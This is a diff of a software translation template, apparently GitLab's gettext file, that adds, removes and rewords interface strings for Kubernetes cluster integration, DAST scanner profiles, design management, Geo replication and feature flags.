msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
